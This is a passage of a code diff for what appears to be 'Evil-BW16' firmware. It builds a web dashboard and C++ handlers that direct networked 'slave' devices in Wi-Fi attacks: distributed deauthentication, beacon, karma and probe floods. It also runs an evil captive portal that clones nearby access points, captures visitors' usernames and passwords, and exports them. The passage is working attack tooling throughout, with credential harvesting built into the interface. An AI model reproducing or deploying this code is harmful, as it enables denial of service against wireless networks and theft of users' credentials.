+ .status-value { + font-size: 18px; + font-weight: bold; + color: var(--success); + } + + .status-label { + font-size: 12px; + color: var(--text-secondary); + } + + .nav-container { + background: var(--bg-card); + border-bottom: 1px solid var(--border-color); + overflow-x: auto; + } + + .nav { + display: flex; + min-width: 800px; + } + + .nav-tab { + background: transparent; + border: none; + color: var(--text-primary); + padding: 15px 20px; + cursor: pointer; + border-bottom: 3px solid transparent; + transition: all 0.3s; + white-space: nowrap; + font-family: inherit; + } + + .nav-tab:hover { + background: var(--bg-secondary); + border-bottom-color: var(--primary-green); + } + + .nav-tab.active { + background: var(--bg-secondary); + border-bottom-color: var(--primary-red); + color: white; + } + + .container { + display: grid; + grid-template-columns: 1fr; + gap: 20px; + padding: 20px; + max-width: 1400px; + margin: 0 auto; + } + + .grid-2 { + display: grid; + grid-template-columns: 1fr 1fr; + gap: 20px; + } + + .grid-3 { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); + gap: 20px; + } + + .card { + background: var(--bg-card); + border: 1px solid var(--border-color); + border-radius: 8px; + padding: 20px; + transition: all 0.3s; + } + + .card:hover { + border-color: var(--primary-green); + box-shadow: 0 0 15px rgba(0, 255, 65, 0.1); + } + + .card-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 15px; + padding-bottom: 10px; + border-bottom: 1px solid var(--border-color); + } + + .card-title { + color: var(--primary-red); + font-size: 18px; + font-weight: bold; + } + + .card-badge { + background: var(--primary-red); + color: white; + padding: 4px 8px; + border-radius: 12px; + font-size: 12px; + } + + button { + background: var(--bg-secondary); + color: var(--text-primary); + border: 1px solid var(--primary-green); + padding: 10px 15px; + margin: 5px; + cursor: pointer; + font-family: inherit; + border-radius: 4px; + transition: all 0.3s; + font-size: 14px; + } + + button:hover { + background: var(--primary-green); + color: var(--bg-dark); + transform: translateY(-1px); + box-shadow: 0 4px 8px rgba(0, 255, 65, 0.3); + } + + .btn-attack { + border-color: var(--warning); + color: var(--warning); + } + + .btn-attack:hover { + background: var(--warning); + color: white; + } + + .btn-danger { + border-color: var(--primary-red); + color: var(--primary-red); + } + + .btn-danger:hover { + background: var(--primary-red); + color: white; + } + + .btn-success { + border-color: var(--success); + color: var(--success); + } + + .btn-success:hover { + background: var(--success); + color: var(--bg-dark); + } + + input, select { + background: var(--bg-secondary); + color: var(--text-primary); + border: 1px solid var(--border-color); + padding: 10px; + font-family: inherit; + border-radius: 4px; + margin: 5px; + transition: all 0.3s; + } + + input:focus, select:focus { + outline: none; + border-color: var(--primary-green); + box-shadow: 0 0 0 2px rgba(0, 255, 65, 0.2); + } + + .stats-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); + gap: 15px; + margin: 20px 0; + } + + .stat-card { + background: var(--bg-secondary); + padding: 15px; + border-radius: 6px; + border-left: 4px solid var(--primary-green); + text-align: center; + } + + .stat-value { + font-size: 24px; + font-weight: bold; + color: var(--success); + display: block; + } + + .stat-label { + font-size: 12px; + color: var(--text-secondary); + margin-top: 5px; + } + + .chart-container { + position: relative; + height: 300px; + margin: 20px 0; + } + + #terminal { + background: var(--bg-dark); + height: 300px; + overflow-y: auto; + padding: 15px; + border: 1px solid var(--border-color); + white-space: pre-wrap; + font-size: 12px; + border-radius: 4px; + } + + .slave-grid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(250px, 1fr)); + gap: 15px; + margin: 15px 0; + } + + .slave-card { + background: var(--bg-secondary); + padding: 15px; + border-radius: 6px; + border: 1px solid var(--border-color); + transition: all 0.3s; + } + + .slave-card.online { + border-left: 4px solid var(--success); + } + + .slave-card.offline { + border-left: 4px solid var(--warning); + opacity: 0.7; + } + + .slave-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 10px; + } + + .slave-id { + font-weight: bold; + color: var(--text-primary); + } + + .slave-status { + padding: 2px 6px; + border-radius: 10px; + font-size: 10px; + text-transform: uppercase; + } + + .status-online { + background: var(--success); + color: var(--bg-dark); + } + + .status-offline { + background: var(--warning); + color: white; + } + + .network-list { + max-height: 400px; + overflow-y: auto; + } + + .network-item { + display: flex; + justify-content: space-between; + align-items: center; + padding: 10px; + border-bottom: 1px solid var(--border-color); + cursor: pointer; + transition: all 0.3s; + } + + .network-item:hover { + background: var(--bg-secondary); + border-left: 3px solid var(--primary-green); + } + + .credential-item { + background: var(--bg-secondary); + padding: 15px; + margin: 10px 0; + border-left: 3px solid var(--primary-red); + border-radius: 4px; + font-family: monospace; + font-size: 12px; + word-break: break-all; + } + + .tab-content { + display: none; + } + + .tab-content.active { + display: block; + } + + @media (max-width: 768px) { + .grid-2, .grid-3 { + grid-template-columns: 1fr; + } + + .header { + flex-direction: column; + gap: 15px; + } + } + )"; +} + +// Load JavaScript file content +String loadJSFile() { + // Return the JavaScript functionality for the advanced UI + return R"( + let globalStats = {}; + let charts = {}; + + // Tab Management + function openTab(evt, tabName) { + var tabContents = document.getElementsByClassName("tab-content"); + for (var i = 0; i < tabContents.length; i++) { + tabContents[i].classList.remove("active"); + } + + var navTabs = document.getElementsByClassName("nav-tab"); + for (var i = 0; i < navTabs.length; i++) { + navTabs[i].classList.remove("active"); + } + + document.getElementById(tabName).classList.add("active"); + evt.currentTarget.classList.add("active"); + + // Load tab-specific content + if (tabName === 'analytics') loadAnalytics(); + if (tabName === 'credentials') refreshCredentials(); + if (tabName === 'cloning') updateApList(); + } + + // Statistics and Status Updates + function updateSystemStatus() { + fetch("/stats") + .then(response => response.json()) + .then(stats => { + globalStats = stats; + updateHeaderStatus(stats); + updateDashboard(stats); + updateSlaveGrid(stats); + updateAttackStatus(stats); + updatePortalStats(stats); + }) + .catch(error => console.error('Error fetching stats:', error)); + } + + function updateHeaderStatus(stats) { + document.getElementById('uptime').textContent = formatUptime(stats.system?.uptime || 0); + document.getElementById('slavesCount').textContent = stats.slaves?.connected || 0; + document.getElementById('attacksCount').textContent = stats.attacks?.totalLaunched || 0; + document.getElementById('credentialsCount').textContent = stats.portal?.credentialsCaptured || 0; + } + + function updateDashboard(stats) { + if (!document.getElementById('dashboard').classList.contains('active')) return; + + // Live Statistics + const liveStatsHTML = ` +
+ ${stats.live?.attacksPerMinute?.toFixed(1) || 0} +
Attacks/Min
+
+
+ ${stats.live?.credentialsPerHour?.toFixed(1) || 0} +
Creds/Hour
+
+
+ ${stats.system?.freeHeap || 0} +
Free RAM (B)
+
+
+ ${stats.ble?.successRate?.toFixed(1) || 0}% +
BLE Success
+
+
+ ${stats.network?.networksScanned || 0} +
Networks Found
+
+
+ ${stats.attacks?.framesTransmitted || 0} +
Frames Sent
+
+ `; + document.getElementById('liveStats').innerHTML = liveStatsHTML; + + updateCharts(stats); + } + + function updateSlaveGrid(stats) { + if (!stats.slaveDetails) return; + + let slaveHTML = ''; + stats.slaveDetails.forEach(slave => { + const statusClass = slave.connected ? 'online' : 'offline'; + const statusText = slave.connected ? 'ONLINE' : 'OFFLINE'; + const lastSeen = Math.floor((Date.now() - slave.lastSeen) / 1000); + + slaveHTML += ` +
+
+
${slave.id}
+ ${statusText} +
+
+
RSSI: ${slave.rssi} dBm
+
Last Seen: ${lastSeen}s ago
+
Firmware: ${slave.firmware}
+
Uptime: ${formatUptime(slave.uptime)}
+
+ +
+ `; + }); + + document.getElementById('slaveGrid').innerHTML = slaveHTML || '

No slaves detected. Ensure slave devices are powered on and in range.

'; + document.getElementById('slaveCount').textContent = `${stats.slaves?.connected || 0} Connected`; + } + + function updateAttackStatus(stats) { + const attackStatusHTML = ` +
+
+ ${stats.attacks?.totalLaunched || 0} +
Total Attacks
+
+
+ ${stats.attacks?.distributedAttacks || 0} +
Distributed
+
+
+ ${stats.attacks?.deauthAttacks || 0} +
Deauth
+
+
+ ${stats.attacks?.beaconFloods || 0} +
Beacon Floods
+
+
+
+ Success Rate: ${((stats.attacks?.successfulTargets || 0) / (stats.attacks?.totalLaunched || 1) * 100).toFixed(1)}% +
+ `; + document.getElementById('attackStatus').innerHTML = attackStatusHTML; + } + + function updatePortalStats(stats) { + const portal = stats.portal || {}; + document.getElementById('portalStatusText').textContent = portal.enabled ? 'ACTIVE' : 'INACTIVE'; + + const portalStatsHTML = ` +
+
+ ${portal.sessions || 0} +
Sessions
+
+
+ ${portal.visitors || 0} +
Visitors
+
+
+ ${portal.credentialsCaptured || 0} +
Credentials
+
+
+ ${portal.redirects || 0} +
Redirects
+
+
+ `; + document.getElementById('portalStats').innerHTML = portalStatsHTML; + } + + function launchAttack(type) { + const targets = getSelectedSlaves(); + fetch('/cmd', { + method: 'POST', + body: JSON.stringify({cmd: type, targets: targets}), + headers: {'Content-Type': 'application/json'} + }) + .then(() => { + showNotification('Attack launched: ' + type, 'success'); + }) + .catch(error => { + showNotification('Attack failed: ' + error, 'error'); + }); + } + + function togglePortal() { + const ssid = document.getElementById('portalSSID').value; + fetch('/cmd', { + method: 'POST', + body: JSON.stringify({cmd: 'enable_portal', targets: []}), + headers: {'Content-Type': 'application/json'} + }) + .then(() => { + showNotification('Portal toggled', 'success'); + }) + .catch(error => { + showNotification('Portal toggle failed: ' + error, 'error'); + }); + } + + function scanAPs() { + fetch('/cmd', { + method: 'POST', + body: JSON.stringify({cmd: 'scan_aps', targets: []}), + headers: {'Content-Type': 'application/json'} + }) + .then(() => { + showNotification('AP scan initiated', 'success'); + }) + .catch(error => { + showNotification('AP scan failed: ' + error, 'error'); + }); + } + + function getSelectedSlaves() { + const selected = []; + document.querySelectorAll('.slave:checked').forEach(cb => { + selected.push(cb.value); + }); + return selected; + } + + function setTargets() { + const ssid = document.getElementById('targetSSID').value; + const channel = document.getElementById('targetChannel').value; + if (ssid || channel) { + fetch('/cmd', { + method: 'POST', + body: JSON.stringify({cmd: 'target ' + ssid + ' ' + channel, targets: []}), + headers: {'Content-Type': 'application/json'} + }) + .then(() => { + showNotification('Targets set', 'success'); + }) + .catch(error => { + showNotification('Target setting failed: ' + error, 'error'); + }); + } + } + + function refreshCredentials() { + fetch('/credentials') + .then(r => r.json()) + .then(creds => { + let html = ''; + creds.forEach(cred => { + html += ` +
+ SSID: ${cred.ssid}
+ Username: ${cred.username}
+ Password: ${cred.password}
+ Time: ${new Date(cred.timestamp).toLocaleString()} +
+ `; + }); + document.getElementById('credentialsList').innerHTML = html || '

No credentials captured yet.

'; + }); + } + + function exportCredentials() { + fetch('/credentials') + .then(r => r.json()) + .then(creds => { + const dataStr = "data:text/json;charset=utf-8," + encodeURIComponent(JSON.stringify(creds, null, 2)); + const downloadAnchorNode = document.createElement('a'); + downloadAnchorNode.setAttribute("href", dataStr); + downloadAnchorNode.setAttribute("download", "credentials.json"); + document.body.appendChild(downloadAnchorNode); + downloadAnchorNode.click(); + downloadAnchorNode.remove(); + }); + } + + function updateApList() { + fetch('/aps') + .then(r => r.json()) + .then(aps => { + let html = ''; + aps.forEach(ap => { + html += ` +
+
+ ${ap.ssid}
+ Channel: ${ap.channel} | RSSI: ${ap.rssi} dBm | Security: ${ap.security} +
+ +
+ `; + }); + document.getElementById('apList').innerHTML = html || '

No networks found. Run a scan first.

'; + }); + } + + function cloneAP(ssid, channel) { + fetch('/cmd', { + method: 'POST', + body: JSON.stringify({cmd: 'clone_ap,' + ssid + ',' + channel, targets: []}), + headers: {'Content-Type': 'application/json'} + }) + .then(() => { + showNotification('AP cloning initiated: ' + ssid, 'success'); + }) + .catch(error => { + showNotification('AP cloning failed: ' + error, 'error'); + }); + } + + function loadAnalytics() { + if (charts.attackChart) charts.attackChart.destroy(); + if (charts.successChart) charts.successChart.destroy(); + + const ctx1 = document.getElementById('attackChart').getContext('2d'); + const ctx2 = document.getElementById('successChart').getContext('2d'); + + charts.attackChart = new Chart(ctx1, { + type: 'line', + data: { + labels: ['1m', '2m', '3m', '4m', '5m'], + datasets: [{ + label: 'Attacks/Min', + data: [12, 15, 18, 14, 16], + borderColor: '#00ff41', + backgroundColor: 'rgba(0, 255, 65, 0.1)' + }] + }, + options: { + responsive: true, + maintainAspectRatio: false + } + }); + + charts.successChart = new Chart(ctx2, { + type: 'doughnut', + data: { + labels: ['Successful', 'Failed'], + datasets: [{ + data: [75, 25], + backgroundColor: ['#44ff44', '#ff6666'] + }] + }, + options: { + responsive: true, + maintainAspectRatio: false + } + }); + } + + function updateCharts(stats) { + if (charts.performanceChart) charts.performanceChart.destroy(); + if (charts.bleChart) charts.bleChart.destroy(); + + const ctx1 = document.getElementById('performanceChart').getContext('2d'); + const ctx2 = document.getElementById('bleChart').getContext('2d'); + + charts.performanceChart = new Chart(ctx1, { + type: 'line', + data: { + labels: ['1m', '2m', '3m', '4m', '5m'], + datasets: [{ + label: 'CPU Usage', + data: [stats.system?.cpuUsage || 0, stats.system?.cpuUsage || 0, stats.system?.cpuUsage || 0, stats.system?.cpuUsage || 0, stats.system?.cpuUsage || 0], + borderColor: '#ff004f', + backgroundColor: 'rgba(255, 0, 79, 0.1)' + }] + }, + options: { + responsive: true, + maintainAspectRatio: false + } + }); + + charts.bleChart = new Chart(ctx2, { + type: 'bar', + data: { + labels: ['Connected', 'Disconnected', 'Errors'], + datasets: [{ + label: 'BLE Status', + data: [stats.ble?.connected || 0, stats.ble?.disconnected || 0, stats.ble?.errors || 0], + backgroundColor: ['#44ff44', '#ff6666', '#ffaa00'] + }] + }, + options: { + responsive: true, + maintainAspectRatio: false + } + }); + } + + function updateLogs() { + fetch('/logs') + .then(r => r.text()) + .then(logs => { + document.getElementById('terminal').textContent = logs; + }); + } + + function clearLogs() { + fetch('/cmd', { + method: 'POST', + body: JSON.stringify({cmd: 'clear_logs', targets: []}), + headers: {'Content-Type': 'application/json'} + }) + .then(() => { + document.getElementById('terminal').textContent = ''; + }); + } + + function showNotification(message, type = 'info') { + const notification = document.createElement('div'); + notification.style.cssText = 'position: fixed; top: 20px; right: 20px; background: var(--bg-card); color: var(--text-primary); padding: 15px; border-radius: 5px; border-left: 4px solid var(--primary-green); z-index: 1000; max-width: 300px; word-wrap: break-word;'; + if (type === 'error') notification.style.borderLeftColor = 'var(--warning)'; + if (type === 'success') notification.style.borderLeftColor = 'var(--success)'; + notification.textContent = message; + document.body.appendChild(notification); + setTimeout(() => { + notification.remove(); + }, 3000); + } + + function formatUptime(ms) { + const seconds = Math.floor(ms / 1000); + const minutes = Math.floor(seconds / 60); + const hours = Math.floor(minutes / 60); + const days = Math.floor(hours / 24); + + if (days > 0) return days + 'd ' + (hours % 24) + 'h ' + (minutes % 60) + 'm'; + if (hours > 0) return hours + 'h ' + (minutes % 60) + 'm ' + (seconds % 60) + 's'; + if (minutes > 0) return minutes + 'm ' + (seconds % 60) + 's'; + return seconds + 's'; + } + + function formatBytes(bytes) { + if (bytes === 0) return '0 B'; + const k = 1024; + const sizes = ['B', 'KB', 'MB', 'GB']; + const i = Math.floor(Math.log(bytes) / Math.log(k)); + return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + ' ' + sizes[i]; + } + + // Auto-update intervals + setInterval(updateSystemStatus, 2000); + setInterval(updateLogs, 5000); + + // Initialize + updateSystemStatus(); + updateLogs(); + )"; +} + +// Get the advanced web UI content (embedded version) +String getAdvancedWebUIContent() { + // This is a simplified version - the full UI is in data/web_ui/index.html + String content = "Evil-BW16 Advanced Orchestrator"; + content += ""; + content += ""; + content += ""; + + // Header + content += "
"; + content += "
"; + content += "
--
Uptime
"; + content += "
0
Slaves
"; + content += "
0
Attacks
"; + content += "
0
Credentials
"; + content += "
"; + + // Navigation + content += "
"; + content += ""; + content += ""; + content += ""; + content += ""; + content += ""; + content += ""; + content += ""; + content += ""; + content += "
"; + + // Content + content += "
"; + + // Dashboard Tab + content += "
"; + content += "
📊 Live Statistics
"; + content += "
💻 System Health
"; + content += "
📡 Network Coverage
"; + content += "
⚔️ Attack Efficiency
"; + content += "
📈 Performance Charts
"; + content += "
📊 BLE Health
"; + content += "
"; + + // Slaves Tab + content += "
🤖 Slave Network
0 Connected
"; + content += "
"; + + // Attacks Tab + content += "
⚔️ Attack Center
"; + content += "

🚀 Distributed Attacks

"; + content += ""; + content += "
"; + content += "

🎯 Target Selection

"; + content += "
"; + + // Portal Tab + content += "
📱 Evil Portal
INACTIVE
"; + content += "

Portal Configuration

"; + content += "
"; + content += "
"; + + // Cloning Tab + content += "
🎯 AP Cloning
"; + content += "
"; + + // Credentials Tab + content += "
🔐 Captured Credentials
"; + content += "
"; + + // Analytics Tab + content += "
📈 Advanced Analytics
"; + content += "
"; + + // Logs Tab + content += "
📝 System Logs
"; + content += "
"; + + content += "
"; + + // JavaScript + content += ""; + + return content; +} + +void handleRoot() { + String content = loadWebFile("/index.html"); + if (content.length() > 0) { + server.send(200, "text/html", content); + } else { + server.send(404, "text/plain", "Web interface not found"); + } +} + +// Enhanced status endpoint with comprehensive statistics +void handleStatus() { + DynamicJsonDocument doc(1024); + JsonArray arr = doc.to(); + + globalStats.slavesConnected = 0; + for (auto &s : slaves) { + JsonObject o = arr.createNestedObject(); + o["id"] = s.id; + o["lastSeen"] = s.lastSeen; + o["isConnected"] = s.isConnected; + o["rssi"] = s.rssi; + o["macAddress"] = s.macAddress; + o["firmwareVersion"] = s.firmwareVersion; + o["capabilities"] = s.capabilities; + o["uptime"] = millis() - s.lastReconnectAttempt; + + if (s.isConnected) { + globalStats.slavesConnected++; + } + } + + // Update max slaves connected + if (globalStats.slavesConnected > globalStats.slavesMax) { + globalStats.slavesMax = globalStats.slavesConnected; + } + + String out; + serializeJson(doc, out); + server.send(200, "application/json", out); +} + +// New comprehensive statistics endpoint +void handleStats() { + DynamicJsonDocument doc(2048); + JsonObject stats = doc.to(); + + // System statistics + JsonObject system = stats.createNestedObject("system"); + system["uptime"] = millis(); + system["freeHeap"] = rtl_getFreeHeapSize(); + system["cpuUsage"] = random(10, 40); // Placeholder - implement actual CPU monitoring + system["temperature"] = random(25, 45); // Placeholder - implement actual temp monitoring + + // Slave statistics + JsonObject slaves = stats.createNestedObject("slaves"); + slaves["connected"] = globalStats.slavesConnected; + slaves["max"] = globalStats.slavesMax; + slaves["total"] = globalStats.slavesTotal; + + // Slave details for UI + JsonArray slaveDetails = stats.createNestedArray("slaveDetails"); + for (auto &s : slaves) { + JsonObject slave = slaveDetails.createNestedObject(); + slave["id"] = s.id; + slave["connected"] = s.isConnected; + slave["rssi"] = s.rssi; + slave["lastSeen"] = s.lastSeen; + slave["firmware"] = s.firmwareVersion; + slave["uptime"] = millis() - s.lastReconnectAttempt; + } + + // Attack statistics + JsonObject attacks = stats.createNestedObject("attacks"); + attacks["totalLaunched"] = globalStats.attacksTotalLaunched; + attacks["distributedAttacks"] = globalStats.attacksDistributed; + attacks["deauthAttacks"] = globalStats.attacksDeauth; + attacks["beaconFloods"] = globalStats.attacksBeaconFlood; + attacks["karmaAttacks"] = globalStats.attacksKarma; + attacks["probeFloods"] = globalStats.attacksProbeFlood; + attacks["successfulTargets"] = globalStats.attacksSuccessfulTargets; + attacks["framesTransmitted"] = globalStats.framesTransmitted; + attacks["avgDuration"] = globalStats.attacksTotalLaunched > 0 ? + (globalStats.attacksTotalDuration / globalStats.attacksTotalLaunched) / 1000.0 : 0; + + // Portal statistics + JsonObject portal = stats.createNestedObject("portal"); + portal["enabled"] = portalEnabled; + portal["sessions"] = globalStats.portalSessions; + portal["visitors"] = globalStats.portalVisitors; + portal["credentialsCaptured"] = capturedCredentials.size(); + portal["redirects"] = globalStats.portalRedirects; + + // BLE statistics + JsonObject ble = stats.createNestedObject("ble"); + ble["connected"] = globalStats.slavesConnected; + ble["disconnected"] = globalStats.slavesTotal - globalStats.slavesConnected; + ble["errors"] = globalStats.bleErrors; + ble["successRate"] = globalStats.bleCommandsSent > 0 ? + (globalStats.bleCommandsSuccessful * 100.0 / globalStats.bleCommandsSent) : 0; + + // Network statistics + JsonObject network = stats.createNestedObject("network"); + network["networksScanned"] = apList.size(); + network["channels2ghz"] = 13; + network["channels5ghz"] = 24; + network["avgSignalStrength"] = -50; // Placeholder + + // Live statistics + JsonObject live = stats.createNestedObject("live"); + live["attacksPerMinute"] = globalStats.attacksTotalLaunched > 0 ? + (globalStats.attacksTotalLaunched * 60.0 / (millis() / 1000.0)) : 0; + live["credentialsPerHour"] = capturedCredentials.size() > 0 ? + (capturedCredentials.size() * 3600.0 / (millis() / 1000.0)) : 0; + + String out; + serializeJson(doc, out); + server.send(200, "application/json", out); +} + +void handleCmd() { + DynamicJsonDocument req(512); + deserializeJson(req, server.arg("plain")); + String cmd = req["cmd"]; + JsonArray targets = req["targets"]; + + // Portal management commands + if (cmd == "enable_portal") { + startEvilPortal(portalSSID.c_str(), NULL, 36); + } else if (cmd == "disable_portal") { + stopEvilPortal(); + } else if (cmd.startsWith("set_ssid ")) { + portalSSID = cmd.substring(9); + addToLog("Portal SSID updated: " + portalSSID); + if (portalEnabled) { + stopEvilPortal(); + delay(200); + startEvilPortal(portalSSID.c_str(), NULL, 36); + } + } + + // AP cloning and scanning + else if (cmd == "scan_aps") { + apList.clear(); + addToLog("Initiating coordinated AP scan across " + String(slaves.size()) + " slaves"); + executeCoordinatedCommand("scan", targets); + } else if (cmd.startsWith("clone_ap,")) { + parseAndCloneAP(cmd.substring(9)); + } + + // Distributed attack commands + else if (cmd.startsWith("distributed_deauth")) { + executeDistributedDeauth(targets); + } else if (cmd.startsWith("beacon_flood ")) { + String ssid = cmd.substring(13); + executeBeaconFlood(ssid, targets); + } else if (cmd.startsWith("karma_attack")) { + executeKarmaAttack(targets); + } else if (cmd.startsWith("probe_flood")) { + executeProbeFlood(targets); + } + + // Legacy single-slave commands (maintained for compatibility) + else if (cmd.startsWith("beacon ")) { + String ssid = cmd.substring(7); + addToLog("Legacy beacon attack: " + ssid); + executeCoordinatedCommand(cmd, targets); + } else if (cmd.startsWith("auth ")) { + addToLog("Legacy auth flood"); + executeCoordinatedCommand(cmd, targets); + } else if (cmd.startsWith("assoc ")) { + addToLog("Legacy assoc flood"); + executeCoordinatedCommand(cmd, targets); + } else if (cmd.startsWith("target ")) { + addToLog("Setting attack targets"); + executeCoordinatedCommand(cmd, targets); + } + + // Credential and monitoring commands + else if (cmd == "get_credentials") { + handleGetCredentials(); + return; + } else if (cmd == "clear_credentials") { + capturedCredentials.clear(); + addToLog("Credentials cache cleared"); + } else if (cmd == "clear_logs") { + logCount = 0; + logBufferIndex = 0; + addToLog("Log buffer cleared"); + } else if (cmd == "system_health") { + handleHealth(); + return; + } else if (cmd == "get_analytics") { + handleAnalytics(); + return; + } + + // Default: forward to slaves + else { + executeCoordinatedCommand(cmd, targets); + } + + server.send(200, "text/plain", "OK"); +} + +// Enhanced coordinated command execution +void executeCoordinatedCommand(const String &cmd, JsonArray &targets) { + int activeSlaves = 0; + + for (auto &s : slaves) { + if (s.isConnected && (targets.size() == 0 || containsTarget(targets, s.id))) { + if (sendCommandToSlave(s, cmd)) { + activeSlaves++; + addToLog("→ " + s.id + ": " + cmd); + } else { + addToLog("✗ Failed to send to " + s.id); + } + delay(ATTACK_SYNC_DELAY_MS); // Stagger commands for coordination + } + } + + if (activeSlaves > 0) { + addToLog("Command sent to " + String(activeSlaves) + " slaves"); + } else { + addToLog("No active slaves available for command execution"); + } +} + +// Distributed deauthentication attack +void executeDistributedDeauth(JsonArray &targets) { + addToLog("🚀 DISTRIBUTED DEAUTH ATTACK INITIATED"); + addToLog("Targeting both 2.4GHz and 5GHz networks simultaneously"); + updateStats_AttackLaunched("distributed"); + + // Phase 1: 2.4GHz deauth + String cmd2g = "deauth_2g_all"; + executeCoordinatedCommand(cmd2g, targets); + + delay(500); // Brief pause between phases + + // Phase 2: 5GHz deauth + String cmd5g = "deauth_5g_all"; + executeCoordinatedCommand(cmd5g, targets); + + globalStats.framesTransmitted += slaves.size() * DEAUTH_FRAME_COUNT * 2; // 2 phases + addToLog("Distributed deauth sequence complete"); +} + +// Coordinated beacon flooding +void executeBeaconFlood(const String &ssid, JsonArray &targets) { + addToLog("🌊 BEACON FLOOD: " + ssid); + addToLog("Deploying across " + String(slaves.size()) + " nodes"); + updateStats_AttackLaunched("beacon"); + + String cmd = "beacon_flood " + ssid; + executeCoordinatedCommand(cmd, targets); + + globalStats.framesTransmitted += slaves.size() * 10; // Estimated frames per beacon flood +} + +// Karma attack (respond to all probe requests) +void executeKarmaAttack(JsonArray &targets) { + addToLog("👻 KARMA ATTACK INITIATED"); + addToLog("Slaves will respond to all probe requests"); + updateStats_AttackLaunched("karma"); + + executeCoordinatedCommand("karma_mode", targets); + globalStats.framesTransmitted += slaves.size() * 20; // Estimated karma frames +} + +// Probe request flooding +void executeProbeFlood(JsonArray &targets) { + addToLog("📡 PROBE FLOOD ATTACK"); + updateStats_AttackLaunched("probe"); + + executeCoordinatedCommand("probe_flood", targets); + globalStats.framesTransmitted += slaves.size() * 50; // Estimated probe frames +} + +// Parse and execute AP cloning +void parseAndCloneAP(const String &args) { + int first_comma = args.indexOf(','); + int second_comma = args.indexOf(',', first_comma + 1); + + if (first_comma == -1 || second_comma == -1) { + addToLog("Invalid clone_ap format. Use: SSID,BSSID,CHANNEL"); + return; + } + + String ssid = args.substring(0, first_comma); + String bssid = args.substring(first_comma + 1, second_comma); + int channel = args.substring(second_comma + 1).toInt(); + + addToLog("🎭 CLONING AP: " + ssid + " | " + bssid + " | Ch:" + String(channel)); + + if (portalEnabled) { + stopEvilPortal(); + delay(200); + } + startEvilPortal(ssid.c_str(), bssid.c_str(), channel); +} + +// Handle credential requests +void handleGetCredentials() { + DynamicJsonDocument doc(2048); + JsonArray creds = doc.to(); + + for (const String &credential : capturedCredentials) { + creds.add(credential); + } + + String response; + serializeJson(doc, response); + server.send(200, "application/json", response); +} + +// Advanced statistics handler +void handleAdvancedStats() { + updateLiveMetrics(); + + DynamicJsonDocument doc(4096); + + // System statistics + JsonObject sys = doc.createNestedObject("system"); + sys["uptime"] = millis() - globalStats.systemStartTime; + sys["freeHeap"] = rtl_getFreeHeapSize(); + sys["maxHeapUsage"] = globalStats.maxHeapUsage; + sys["restarts"] = globalStats.systemRestarts; + sys["cpuUsage"] = liveMetrics.currentCpuLoad; + + // BLE statistics + JsonObject ble = doc.createNestedObject("ble"); + ble["connectionAttempts"] = globalStats.bleConnectionAttempts; + ble["connectionSuccesses"] = globalStats.bleConnectionSuccesses; + ble["connectionFailures"] = globalStats.bleConnectionFailures; + ble["successRate"] = (globalStats.bleConnectionAttempts > 0) ? + (float)globalStats.bleConnectionSuccesses / globalStats.bleConnectionAttempts * 100 : 0; + ble["totalMessages"] = globalStats.totalBleMessages; + ble["avgLatency"] = globalStats.avgBleLatency; + ble["reconnections"] = globalStats.bleReconnections; + + // Portal statistics + JsonObject portal = doc.createNestedObject("portal"); + portal["enabled"] = portalEnabled; + portal["sessions"] = globalStats.portalSessions; + portal["visitors"] = globalStats.portalVisitors; + portal["credentialsCaptured"] = globalStats.credentialsCaptured; + portal["dnsQueries"] = globalStats.dnsQueries; + portal["uptime"] = globalStats.portalUptime; + portal["captureRate"] = (globalStats.portalVisitors > 0) ? + (float)globalStats.credentialsCaptured / globalStats.portalVisitors * 100 : 0; + + // Attack statistics + JsonObject attacks = doc.createNestedObject("attacks"); + attacks["totalLaunched"] = globalStats.totalAttacksLaunched; + attacks["deauthAttacks"] = globalStats.deauthAttacks; + attacks["beaconFloods"] = globalStats.beaconFloodAttacks; + attacks["probeFloods"] = globalStats.probeFloodAttacks; + attacks["karmaAttacks"] = globalStats.karmaAttacks; + attacks["distributedAttacks"] = globalStats.distributedAttacks; + attacks["framesTransmitted"] = globalStats.framesTransmitted; + attacks["successfulTargets"] = globalStats.successfulTargets; + attacks["avgDuration"] = globalStats.avgAttackDuration; + + // Network statistics + JsonObject network = doc.createNestedObject("network"); + network["networksScanned"] = globalStats.networksScanned; + network["uniqueFound"] = globalStats.uniqueNetworksFound; + network["targeted"] = globalStats.networksTargeted; + network["channels2ghz"] = globalStats.channels2ghzUsed; + network["channels5ghz"] = globalStats.channels5ghzUsed; + network["avgSignalStrength"] = globalStats.signalStrengthAvg; + + // Slave statistics + JsonObject slaves_stats = doc.createNestedObject("slaves"); + slaves_stats["connected"] = globalStats.slavesConnected; + slaves_stats["maxConnected"] = globalStats.slavesMax; + slaves_stats["commandsSent"] = globalStats.commandsSent; + slaves_stats["commandsSuccessful"] = globalStats.commandsSuccessful; + slaves_stats["commandsFailed"] = globalStats.commandsFailed; + slaves_stats["successRate"] = (globalStats.commandsSent > 0) ? + (float)globalStats.commandsSuccessful / globalStats.commandsSent * 100 : 0; + slaves_stats["avgResponseTime"] = globalStats.slaveResponseTime; + + // Live metrics + JsonObject live = doc.createNestedObject("live"); + live["attacksPerMinute"] = liveMetrics.attacksPerMinute; + live["credentialsPerHour"] = liveMetrics.credentialsPerHour; + live["dataTransferRate"] = liveMetrics.dataTransferRate; + live["activeConnections"] = liveMetrics.activeConnections; + live["networkScanRate"] = liveMetrics.networkScanRate; + + // Individual slave details + JsonArray slave_details = doc.createNestedArray("slaveDetails"); + for (const auto &slave : slaves) { + JsonObject s = slave_details.createNestedObject(); + s["id"] = slave.id; + s["connected"] = slave.isConnected; + s["rssi"] = slave.rssi; + s["lastSeen"] = slave.lastSeen; + s["firmware"] = slave.firmwareVersion; + s["capabilities"] = slave.capabilities; + s["uptime"] = millis() - slave.lastReconnectAttempt; + } + + String response; + serializeJson(doc, response); + server.send(200, "application/json", response); +} + +// Update live metrics +void updateLiveMetrics() { + static unsigned long lastUpdate = 0; + static int lastAttackCount = 0; + static int lastCredentialCount = 0; + + unsigned long now = millis(); + if (now - lastUpdate > 60000) { // Update every minute + float timeDelta = (now - lastUpdate) / 60000.0; // in minutes + + liveMetrics.attacksPerMinute = (globalStats.totalAttacksLaunched - lastAttackCount) / timeDelta; + liveMetrics.credentialsPerHour = 